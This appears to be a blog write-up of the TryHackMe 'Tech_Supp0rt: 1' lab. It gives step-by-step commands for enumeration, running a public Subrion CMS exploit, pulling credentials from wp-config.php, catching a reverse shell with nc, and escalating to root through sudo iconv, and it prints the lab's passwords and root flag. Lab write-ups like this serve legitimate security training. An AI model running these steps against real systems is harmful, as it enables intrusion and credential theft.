220 words
1 minute
TryHackMe - Tech_Supp0rt: 1
1. Initial Enumeration
Nmap Scan
nmap -sV 10.10.24.118Directory Enumeration
gobuster dir -u http://10.10.24.118 -w /usr/share/wordlists/seclists/Discovery/Web-Content/common.txt2. SMB Enumeration
List available SMB shares:
smbclient -L //10.10.24.118Connect to the discovered share:
smbclient //10.10.24.118/websvrDownload files from the share:
mget enter.txtWhen prompted, select:
yes3. Web Application Enumeration
Browse to:
http://10.10.24.118/subrion/panel/A login portal is presented.
Use CyberChef to analyze the discovered credentials and obtain:
Username: adminPassword: Scam2021Login to the Subrion administration panel.
4. Exploit Discovery
Search for available exploits:
searchsploit Subrion 4.2.1Copy the exploit locally:
searchsploit -m php/webapps/49876.pyExecute the exploit:
python 49876.py -u http://10.66.147.216/subrion/panel/ -l admin -p Scam20215. Credential Discovery
Inspect the WordPress configuration file:
cat /var/www/html/wordpress/wp-config.phpDiscovered database credentials:
define('DB_USER', 'support');define('DB_PASSWORD', 'ImAScammerLOL!123!');6. Reverse Shell Access
Uplpad phar revshell plugins in panal and nc run
Start a listener:
rlwrap nc -lvnp 1337After receiving a shell, upgrade it:
python3 -c 'import pty; pty.spawn("/bin/bash")'export TERM=xterm7. User Access
Navigate to the home directory:
cd /homeSwitch to the user account:
su scamsitePassword:
ImAScammerLOL!123!Successful authentication grants access as:
scamsite8. Privilege Escalation Enumeration
Check sudo permissions:
sudo -lOutput:
User scamsite may run the following commands on TechSupport: (ALL) NOPASSWD: /usr/bin/iconv9. Root Flag Access
Set the target file:
LFILE=/root/root.txtRead the file using the permitted binary:
sudo /usr/bin/iconv -f 8859_1 -t 8859_1 "$LFILE"The contents of the root flag are displayed.
Root Flag
851b8233a8c09400ec30651bd1529bf1ed02790bSummary
- Performed service enumeration using Nmap.
- Enumerated SMB shares and downloaded exposed files.
- Discovered Subrion CMS administration portal.
- Recovered administrative credentials.
- Identified and executed a public Subrion exploit.
- Obtained remote code execution and a reverse shell.
- Extracted WordPress database credentials.
- Accessed the
scamsiteuser account. - Enumerated sudo permissions.
- Leveraged the allowed
iconvbinary to access the root flag.
TryHackMe - Tech_Supp0rt: 1
https://0xshadowman.github.io/notes/posts/thm_tech_supp0rt1/